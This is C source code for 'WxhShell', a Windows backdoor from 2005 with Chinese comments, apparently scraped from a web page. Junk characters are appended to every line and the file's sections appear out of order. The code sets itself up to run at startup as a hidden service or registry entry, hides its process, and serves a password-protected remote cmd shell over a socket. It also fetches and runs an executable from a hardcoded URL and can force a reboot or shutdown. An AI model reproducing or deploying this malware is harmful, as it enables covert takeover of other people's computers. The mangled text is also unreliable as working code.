    if(Boot(SHUTDOWN)) \IM4Z|NN"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[]A2'fS  
    else { Sv[5NZn0&  
    closesocket(wsh); v3[@1FQ"  
    ExitThread(0); HLK@xKD<  
    } Tl("IhkC  
    break; 6;b9swmh  
    } OS-f(qXd+  
  // 获取shell 6dqsFns}e  
  case 's': { :D:DnVZ-[@  
    CmdShell(wsh); b7:0#l$  
    closesocket(wsh); N:5[,O<m_  
    ExitThread(0); %eWqQ3{P]  
    break; w}cY6O,1  
  } Fj p.T;  
  // 退出 ki]ti={12  
  case 'x': { rS XzBi{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'fd1Pj9~$  
    CloseIt(wsh); GIwh@4;  
    break; G=9d&N  
    } J>vMo@  
  // 离开 io2)1cE&f  
  case 'q': { | bv,2uWz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :Ixx<9c.  
    closesocket(wsh); "y?\Dx   
    WSACleanup(); ?uLeFD  
    exit(1); f:JlZ&  
    break; S_(d9GK<  
        } 32)tJ|m  
  } PXKJ^fa  
  } +C]&2zc.  
l,|%7-  
  // 提示信息 y2L#:[8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RzKb{> ;A  
} m` AK~O2  
  } #s-iy+/1oN  
YvL?j  
  return; LaFZ?7@|}  
} ]jMKC8uz  
Ut@RGg+f8  
// shell模块句柄 x[_=#8~.1x  
int CmdShell(SOCKET sock) OR6ML- |  
{ Y,S\2or$  
STARTUPINFO si; ChrY"  
ZeroMemory(&si,sizeof(si)); }=](p-]5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >pyj]y^3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xf'=+f2p  
PROCESS_INFORMATION ProcessInfo; ]$-cMX  
char cmdline[]="cmd"; C]u',9,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :;;E<74e i  
  return 0; Rg&- 0b  
} x+5k <Xi}  
)EM7,xMz  
// 自身启动模式 /lhz],w  
int StartFromService(void) ^?"\?M1  
{ RF}X ER  
typedef struct \`.F\ Z  
{ <Q < AwP  
  DWORD ExitStatus; ,V] ]: eR  
  DWORD PebBaseAddress; &$FvWFRh#  
  DWORD AffinityMask; Z$KLl((  
  DWORD BasePriority; e9pOisZ;8  
  ULONG UniqueProcessId; 's?Ai2=#  
  ULONG InheritedFromUniqueProcessId; jF ^5}5U  
}   PROCESS_BASIC_INFORMATION; ~^I> #Dd  
}3 m0AQ;K  
PROCNTQSIP NtQueryInformationProcess; FjfN3#qlg  
rnFM/GAy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t !`Jse>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }ucIH@U{  
n^(A=G  
  HANDLE             hProcess; *O$CaAr\s  
  PROCESS_BASIC_INFORMATION pbi; %y[1H5)3<  
;^u*hZN[Up  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "@3@/I  
  if(NULL == hInst ) return 0; m4w ') r~  
\YJy#2K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o5o^TW{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <lxD}DH=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sd re#@n}  
n| O [a6G  
  if (!NtQueryInformationProcess) return 0; +t)n;JHN  
7^TV~E#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FN[R(SLbL  
  if(!hProcess) return 0; G\gMC <3  
>RI>J.~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u`:hMFTID  
{i~8 :  
  CloseHandle(hProcess); O09ke-lC  
!LM<:kf.|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !/{+WHxIr|  
if(hProcess==NULL) return 0; ks;% *d  
gIEl.  
HMODULE hMod; &O\(;mFc  
char procName[255]; I8Vb-YeS  
unsigned long cbNeeded; q~K(]Ya/  
)u ?' ;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d5I f"8`@  
~3h-jK?  
  CloseHandle(hProcess); X26   
V:NI4dv/R  
if(strstr(procName,"services")) return 1; // 以服务启动 /(C~~XP)  
I,6/21kO  
  return 0; // 注册表启动 + A_J1iJ<  
} ,38Eq`5&W  
n";02?@F  
// 主模块 >?W[PQ5yx  
int StartWxhshell(LPSTR lpCmdLine) N6oq90G  
{ "$HbK @]!h  
  SOCKET wsl; W{cY6@  
BOOL val=TRUE; :7N3N  
  int port=0; .4.pJbOg  
  struct sockaddr_in door; =dP{Gh  
@MR?6n*k  
  if(wscfg.ws_autoins) Install(); R! s6% :Yg  
-]G(ms;}/Y  
port=atoi(lpCmdLine); xh@-g|+g  
`:{B(+6  
if(port<=0) port=wscfg.ws_port; 3#kitmV  
-5G)?J/*  
  WSADATA data; }}{!u0N},V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7XrfuG*L$  
"R #k~R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OvL\u{(<F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 72oWhX=M%  
  door.sin_family = AF_INET; ER&UBUu"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~89P[$6  
  door.sin_port = htons(port); gW(gJ; L,%  
+~Cy$M CX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n7LfQWc  
closesocket(wsl); DmqX"x%P  
return 1; t-%Q`V=[  
} (AY9oei>  
ri~<~oB 2:  
  if(listen(wsl,2) == INVALID_SOCKET) { Z5G!ct:W  
closesocket(wsl); jLg@FDb~  
return 1; DsDzkwJE  
} 2+8#H.  
  Wxhshell(wsl); t/i5,le  
  WSACleanup(); d~tuk4F  
UnWW/]E  
return 0; nCg66-3A  
}b3/b  
} 01a-{&   
"+"{+k5t  
// 以NT服务方式启动 1nj(h g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gA#RM5x@  
{ {WN(&eax  
DWORD   status = 0; 46jh-4) <  
  DWORD   specificError = 0xfffffff; ]pA(K?Lbg  
}SyxPXs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rk2xKm^w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |Q~cX!;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M s9E@E  
  serviceStatus.dwWin32ExitCode     = 0; k4J8O3E  
  serviceStatus.dwServiceSpecificExitCode = 0; z:Sigo_z[  
  serviceStatus.dwCheckPoint       = 0; Ha>*?`?yI  
  serviceStatus.dwWaitHint       = 0; z5\;OLJS,  
z1OFcqm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =?0lA_ 0  
  if (hServiceStatusHandle==0) return; < O*6 T%;  
\b8sG"G  
status = GetLastError(); N8cAqr  
  if (status!=NO_ERROR) )-rW&"{U  
{ #PvB/3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U09.Y  
    serviceStatus.dwCheckPoint       = 0; 3{% LS"c  
    serviceStatus.dwWaitHint       = 0; vEM(bT=H  
    serviceStatus.dwWin32ExitCode     = status; &>WWzikB*  
    serviceStatus.dwServiceSpecificExitCode = specificError; }n,Zl>T9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5`/@N{e  
    return; l|`9:H  
  } ',7??Q7j&v  
t,)N('m}=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R$kpiqK  
  serviceStatus.dwCheckPoint       = 0; ?C0l~:j7D  
  serviceStatus.dwWaitHint       = 0; z(uZF3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O^>jdl!TZ  
} Z[!d*O%R_  
TOF '2&H  
// 处理NT服务事件,比如:启动、停止 23(=Xp3;>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gCd`pi 8  
{ |xr%6 [Ff  
switch(fdwControl) Q "r_!f  
{ tqPx$s  
case SERVICE_CONTROL_STOP: {)f~#37  
  serviceStatus.dwWin32ExitCode = 0; +Z2MIC|Ud  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hw_JDv+  
  serviceStatus.dwCheckPoint   = 0; ylf[/='0K  
  serviceStatus.dwWaitHint     = 0; Vpfp}pL  
  { ulHn#)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !;@_VWR  
  } h<l1]h+x  
  return; `+lHeLz':  
case SERVICE_CONTROL_PAUSE: <<9Va.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "i.r@<)S  
  break; 1xNVdI   
case SERVICE_CONTROL_CONTINUE: T`/IO.2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WzW-pV]  
  break; ?zJpD8e  
case SERVICE_CONTROL_INTERROGATE: 7z6 b@$,  
  break; fa* Cpt:  
}; ){s*n=KIO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qVjWV$j  
} Hs"(@eDV&J  
/z7VNkD  
// 标准应用程序主函数 `?*%$>W#"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sydh2d  
{ HC {XX>F^  
mAgF73,3  
// 获取操作系统版本 3T\l]? z  
OsIsNt=GetOsVer();  uD_v!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %sh>;^58P  
ymY1o$qWB}  
  // 从命令行安装 87!C@XlK_  
  if(strpbrk(lpCmdLine,"iI")) Install(); Eu}b8c  
'PZ|:9FX!  
  // 下载执行文件 p]D]: Z}P  
if(wscfg.ws_downexe) { yAT^VRbv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gz I~TWc+G  
  WinExec(wscfg.ws_filenam,SW_HIDE); EO|:FcW  
} o!TQk{0  
{ kSf{>Ia  
if(!OsIsNt) { ;^ wd_  
// 如果时win9x,隐藏进程并且设置为注册表启动 C F!Sa6  
HideProc();  v7  
StartWxhshell(lpCmdLine); pD"vRbYF  
} t22;87&|  
else XKL3RMF9r  
  if(StartFromService()) sML=5=otx  
  // 以服务方式启动 # m R4fst  
  StartServiceCtrlDispatcher(DispatchTable); :pX`?Ew`g  
else 2N#$X'8  
  // 普通方式启动 ?rVy2!  
  StartWxhshell(lpCmdLine); Z0!5d<  
2'jOP" G  
return 0; 0X8t>#uF  
} Bm$"WbOq*R  
?,P3)&3g  
ha@L94Lq  
^{$FI`P  
=========================================== in <(g@Zg  
"eWk#/  
M4LP$N  
W+wA_s2&D  
;DA8B'^>  
+i ?S  
" XLk<*0t p  
]=rht9),"  
#include <stdio.h> A , CW_  
#include <string.h> kNqS8R|  
#include <windows.h> _8fr6tO+  
#include <winsock2.h> [%~ :@m  
#include <winsvc.h> :Eh\NOc_O  
#include <urlmon.h> vzzE-(\\e  
!?f5>Bl  
#pragma comment (lib, "Ws2_32.lib") C`=p +2I]  
#pragma comment (lib, "urlmon.lib") 6%`&+Lq  
\]Kh[z0"  
#define MAX_USER   100 // 最大客户端连接数 mE O \r|A  
#define BUF_SOCK   200 // sock buffer o56`  
#define KEY_BUFF   255 // 输入 buffer ~"pKe~h   
3K&4i'}V  
#define REBOOT     0   // 重启 k 4/D8(OXw  
#define SHUTDOWN   1   // 关机 @J{m@ji{  
"xcX' F^  
#define DEF_PORT   5000 // 监听端口 'ckQg=zPR  
VUTacA Y>L  
#define REG_LEN     16   // 注册表键长度 !f>d_RG  
#define SVC_LEN     80   // NT服务名长度 nMDxH $O  
xX3'bsN  
// 从dll定义API EcIE~qs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4p%A8%/q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gir#"5F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qbrpP(.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tMj;s^P1  
~pa!w?/bQ  
// wxhshell配置信息 kK 8itO  
struct WSCFG { IcP)FB 4  
  int ws_port;         // 监听端口 A,i75kd  
  char ws_passstr[REG_LEN]; // 口令 Vc^HVyAx@n  
  int ws_autoins;       // 安装标记, 1=yes 0=no )%rg?lI  
  char ws_regname[REG_LEN]; // 注册表键名 !$2Z-!  
  char ws_svcname[REG_LEN]; // 服务名 8u[-'pV!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2._X|~0a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vz14j_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f >BWG`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6nhMP$h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fQrhsuCrC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '65LKD  
IUR<.Y`  
}; f}guv~K  
Y_`-9'&  
// default Wxhshell configuration 9a'-Y  
struct WSCFG wscfg={DEF_PORT, r "$.4@gc  
    "xuhuanlingzhe", (F7(^.MG  
    1, /iG*)6*^k  
    "Wxhshell", B?VhIP e  
    "Wxhshell", sNun+xsf^  
            "WxhShell Service", f7Ul(D:j\  
    "Wrsky Windows CmdShell Service", s  {^yj  
    "Please Input Your Password: ", m*e{\)rd#  
  1, TW !&p"Us+  
  "http://www.wrsky.com/wxhshell.exe", ceNix!P  
  "Wxhshell.exe" E .1J2Ne  
    }; a^,(v  
F~ Lx|)0M  
// 消息定义模块 ~>9_(L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L(GjZAP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a>\vUv*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 12Y  
char *msg_ws_ext="\n\rExit."; P%K4[c W~  
char *msg_ws_end="\n\rQuit."; R_=6GZH$G  
char *msg_ws_boot="\n\rReboot..."; ! 8`3GX:B_  
char *msg_ws_poff="\n\rShutdown..."; 5zON}"EC  
char *msg_ws_down="\n\rSave to "; \.M*lqI  
+{sqcr1G  
char *msg_ws_err="\n\rErr!"; fM^[7;]7e  
char *msg_ws_ok="\n\rOK!"; F R|&^j6  
s+tGFjq  
char ExeFile[MAX_PATH]; -G6U$  
int nUser = 0; Ov<NsNX]  
HANDLE handles[MAX_USER]; r'gOVi4t1*  
int OsIsNt; qZ@s#UiB  
0527Wj  
SERVICE_STATUS       serviceStatus; U`hY{E;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .F+@B\A<  
  TX  
// 函数声明 ||yzt!n  
int Install(void); ON+J>$[[  
int Uninstall(void); `({T]@]V  
int DownloadFile(char *sURL, SOCKET wsh); cX3lt5  
int Boot(int flag); },|M9 I0  
void HideProc(void); ]l8^KX'  
int GetOsVer(void); ,AT[@  
int Wxhshell(SOCKET wsl); -_$$Te  
void TalkWithClient(void *cs); Uix6GT;  
int CmdShell(SOCKET sock); (h:Rh  
int StartFromService(void); fFQ|T:vm  
int StartWxhshell(LPSTR lpCmdLine); 1'? 4m0W1  
sH\5/'?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qx%}knB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qP<Lr)nUH  
%D *OO{  
// 数据结构和表定义 X1~1&:V,<  
SERVICE_TABLE_ENTRY DispatchTable[] = mc4i@<_?  
{ /hO1QT}xd  
{wscfg.ws_svcname, NTServiceMain}, !>:?rSg*  
{NULL, NULL} 2 3gPbtq/  
}; $8BPlqBIZ  
u]OW8rc  
// 自我安装 E lUEteZ  
int Install(void) Ha)ANAD  
{ Jec'`,Y  
  char svExeFile[MAX_PATH]; _o8 ?E&d  
  HKEY key; hJPlq0C  
  strcpy(svExeFile,ExeFile); m)oJFF  
)2M>3C6>f  
// 如果是win9x系统,修改注册表设为自启动 8g7<KKw  
if(!OsIsNt) { mkR2i>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MHa#?Q9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dl}$pN  
  RegCloseKey(key); 0bo/XUpi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dUsx vho  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rn@# d}  
  RegCloseKey(key); Sf8{h|71  
  return 0; Q%f|~Kl-hd  
    } 7VP32Eh[  
  } c_>f0i  
} 9YBv|A  
else { )rixMl &[  
~ar=PmYV7  
// 如果是NT以上系统,安装为系统服务 KZeQ47|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $.bBFWk  
if (schSCManager!=0) h\'n**f_x  
{ 4 uQT5  
  SC_HANDLE schService = CreateService 4!wR_@W^El  
  ( \nP>:5E1  
  schSCManager, & GreN  
  wscfg.ws_svcname, Pfs;0}h5  
  wscfg.ws_svcdisp, nqf,4MR  
  SERVICE_ALL_ACCESS, y8DhOlewQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y\x+  
  SERVICE_AUTO_START, !Ta>U^ 7  
  SERVICE_ERROR_NORMAL, .c$316  
  svExeFile, Y5j]Z^^v  
  NULL, m?&1yU9  
  NULL, @62Mk},9 c  
  NULL, ^7Fh{q4IE  
  NULL, %D[0nt|X  
  NULL /S lYm-uQ+  
  ); 6VhjJJ  
  if (schService!=0) LupkrxV  
  { RH|XxH*  
  CloseServiceHandle(schService); LWt&3  
  CloseServiceHandle(schSCManager); -(bkr+N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &/Q0  
  strcat(svExeFile,wscfg.ws_svcname); +U3m#Y)k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mbueP.q[?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h3;bxq!q  
  RegCloseKey(key); [#sz WNfU  
  return 0; nt@aYXK4|  
    } (V HL{rj  
  } &sd}ulEg`  
  CloseServiceHandle(schSCManager); @i*|s~15  
} %x} O1yV  
} tmtT (  
D~\$~&_]=  
return 1; [r[ =W!  
} ^) s2$A:L  
eET}r 24  
// 自我卸载 BGu?<bET  
int Uninstall(void) y?q*WUh  
{ qZA).12qS  
  HKEY key; '3 ^+{=q  
~Onoe $A[<  
if(!OsIsNt) { 2Roc|)-47  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }O4^Cc6  
  RegDeleteValue(key,wscfg.ws_regname); _zwUE  
  RegCloseKey(key); I2nhqJy^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o+$7'+y1n-  
  RegDeleteValue(key,wscfg.ws_regname); aX}P|l  
  RegCloseKey(key); =pC3~-;3  
  return 0; HF.^ysI  
  } 4tS.G  
} ..R-Ms)k=  
} }7.PH'.8  
else { |a!fhl+  
+@/"%9w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ra_ 2R  
if (schSCManager!=0) h^o{@/2  
{ 5EebPXBzB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4BKI-;v$  
  if (schService!=0) ;IokThI  
  { 6ZQwBS0Y  
  if(DeleteService(schService)!=0) {  MEGv}  
  CloseServiceHandle(schService); UTH_^HAN#G  
  CloseServiceHandle(schSCManager); McQe1  
  return 0; HZf/CE9T  
  }  pn5Q5xc  
  CloseServiceHandle(schService); :65~[$2  
  } @>U-t{W  
  CloseServiceHandle(schSCManager); xsMBC  
} c. 2).Jt,  
} /x1![$oC0  
7F{3*`/6  
return 1; ^cz(}N 6&  
} -B$2\ZE  
vCw e'q`1  
// 从指定url下载文件 .ODR]7{  
int DownloadFile(char *sURL, SOCKET wsh) 3^6 d]f  
{ x" L20}  
  HRESULT hr; Aw5HF34J  
char seps[]= "/"; t?'!$6   
char *token; ptZ <ow&  
char *file; LpqO{#ZG  
char myURL[MAX_PATH]; 2P@sn!*{1  
char myFILE[MAX_PATH]; pj?f?.^  
Yd~X77cv  
strcpy(myURL,sURL); VQS~\:1  
  token=strtok(myURL,seps); FK5 <6n,U  
  while(token!=NULL) K%RxwM  
  { < RH UH)I  
    file=token; +y3%3EKs1~  
  token=strtok(NULL,seps); x}"uZ$g  
  } Nqa&_5"  
W|g4z7Pb  
GetCurrentDirectory(MAX_PATH,myFILE); Us0EG\Y  
strcat(myFILE, "\\"); j?x>_#tIY  
strcat(myFILE, file); CyXR i}W.  
  send(wsh,myFILE,strlen(myFILE),0); lUvpszH=  
send(wsh,"...",3,0); TO?R({yx*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M 4?ig}kh  
  if(hr==S_OK) .w8J*JZ  
return 0; 5jgR4a*_v  
else WL?\5?G 9l  
return 1; ei[j1F  
([m mPyp>L  
} R&BTA  
j+uLV{~g6  
// 系统电源模块 2h1vVF3  
int Boot(int flag) Ke2ccN  
{ )]H-BIuGm  
  HANDLE hToken; f>UXD  
  TOKEN_PRIVILEGES tkp; K)DDk9*  
&p4&[H?  
  if(OsIsNt) { r[b(I@T +  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IV\'e}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2;DuHO1  
    tkp.PrivilegeCount = 1; < v@9#c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yEhTNBa*h{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rp!oO>F  
if(flag==REBOOT) { 5',8 ziJQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W;!}#o|%s  
  return 0; K,:cJ  
} }:KEj_~.  
else { eQp4|rf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lE&&_INHQ  
  return 0; IJ(  
} 3@M|m<_R$  
  } 5#+^E{  
  else { 2Q/4bJpd  
if(flag==REBOOT) { pu 7{a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3W3ZjdV+  
  return 0; &h^9}>rVjV  
} LXC9I/j/  
else { %'s>QF]'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :+z4~% jA  
  return 0; ,}EC F>  
} C1m]*}U  
} FtfKe"qw  
ToXki,  
return 1; ,D]QxbwZ  
} 7b;I+q  
&:dH,  
// win9x进程隐藏模块 ;>?rP88t  
void HideProc(void) i]6`LqlO  
{ 2\jPv`Ia  
 @Z\,q's  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -bT)]gA2  
  if ( hKernel != NULL ) smRE!f*q  
  { T"E6y"D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %.^_Ps0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bzuEfFaL  
    FreeLibrary(hKernel); 4W#vP  
  } *n 6s.$p)%  
S+atn]eU@  
return; k@f g(}6  
} naYrpK,.  
jr /pj?  
// 获取操作系统版本 M<.d8?p )  
int GetOsVer(void) \{Z; :,S  
{ VEqS;~[  
  OSVERSIONINFO winfo; r? NznNVU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %|g>%D3Z?  
  GetVersionEx(&winfo); Li/O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mc09ES  
  return 1; j53*E )d  
  else }Qip&IN  
  return 0; q)S^P>  
} >VP= MbN  
kI 4MiK  
// 客户端句柄模块 U(Nu%  
int Wxhshell(SOCKET wsl) G7qG$wd8h  
{ ftvG\Tf  
  SOCKET wsh; E9Np0M<  
  struct sockaddr_in client; hb zC#@ q  
  DWORD myID; hyCh9YOu)  
j9?}j #@  
  while(nUser<MAX_USER) 6r"eN%m  
{ B$ajK`x&I  
  int nSize=sizeof(client); trPAYa}W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )0"wB  
  if(wsh==INVALID_SOCKET) return 1; wRcAX%n&  
Zhh2v>QOy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &]e'KdXF  
if(handles[nUser]==0) cZB7fmq%  
  closesocket(wsh); ` k[-M2[  
else 5][Ztx  
  nUser++; KIui(n#/  
  } q|o}+Vr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z:,U]Z(  
^W'fA{sr  
  return 0; zLD0RBj7p  
} 3 Nreqq  
Sp@^XmX(S  
// 关闭 socket f,V<;s  
void CloseIt(SOCKET wsh) *)ardZV${  
{ uD1e!oU  
closesocket(wsh); QMa;Gy  
nUser--; !c}O5TI|#  
ExitThread(0); e,F1Xi #d  
} >XY`*J^  
4}_j`d/8|  
// 客户端请求句柄 NO|KVZ~  
void TalkWithClient(void *cs) d F9!G;V  
{ M9V q -U18  
?u/@PR\D  
  SOCKET wsh=(SOCKET)cs; L\)ZC  
  char pwd[SVC_LEN]; !/}O>v~o  
  char cmd[KEY_BUFF]; |X0Y-  
char chr[1]; WF1px%  
int i,j; tZ} v%3  
6l5:1|8b,!  
  while (nUser < MAX_USER) { ^T ?RK "p  
?]Pmxp H}  
if(wscfg.ws_passstr) { jNLw=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xIxn"^'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9:ze{ c $  
  //ZeroMemory(pwd,KEY_BUFF);  :rHJ4Tl  
      i=0;  {Or;  
  while(i<SVC_LEN) { e\Y*F  
v@Gl|29_  
  // 设置超时 M)eO6oX|  
  fd_set FdRead; ~%^ tB  
  struct timeval TimeOut; J6U$qi  
  FD_ZERO(&FdRead); cxA^:3  
  FD_SET(wsh,&FdRead); gCioq.  
  TimeOut.tv_sec=8; :YXX8|>  
  TimeOut.tv_usec=0; &j4xgh9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N['qgO/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e?7& M  
k 8UO9r[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NdL,F;^  
  pwd=chr[0]; GliwY_  
  if(chr[0]==0xd || chr[0]==0xa) { jDy-)2<  
  pwd=0; JHz [7  
  break; Min ^>  
  } R]OpQ[k  
  i++; AtdlZ  
    } .WPV dwV4U  
k\WR  ]  
  // 如果是非法用户,关闭 socket -i)ZQCE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3 ):A   
} Z8rvWH9  
?Lyxw]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &?q/1vLa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >sWp ?  
=bHD#o|R  
while(1) { VY~yg*  
^:#D0[  
  ZeroMemory(cmd,KEY_BUFF); vH#huZA?7  
P8>~c9$I  
      // 自动支持客户端 telnet标准   ~ vJ,`?  
  j=0; B?4boF?~  
  while(j<KEY_BUFF) { oW<5|FaN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~NQ72wph{  
  cmd[j]=chr[0]; byT h/H  
  if(chr[0]==0xa || chr[0]==0xd) { @^T1XX  
  cmd[j]=0; 0URji~?|x  
  break;  OU8Lldt  
  } hS)'a^FV  
  j++; $4/yZaVb  
    } kg'o&^/=  
z"0I>gl  
  // 下载文件 ?)u@Rf9>  
  if(strstr(cmd,"http://")) { Ed_N[ I   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4"(<X  
  if(DownloadFile(cmd,wsh)) *g6n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {buo^kgj`]  
  else M7@2^G]p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sOU1n  
  } tD+9kf2  
  else { EL(nDv  
:E:38q,hG  
    switch(cmd[0]) { mGJasn  
  fp+gyTnd3  
  // 帮助 V+VkY3  
  case '?': { wM2*#  
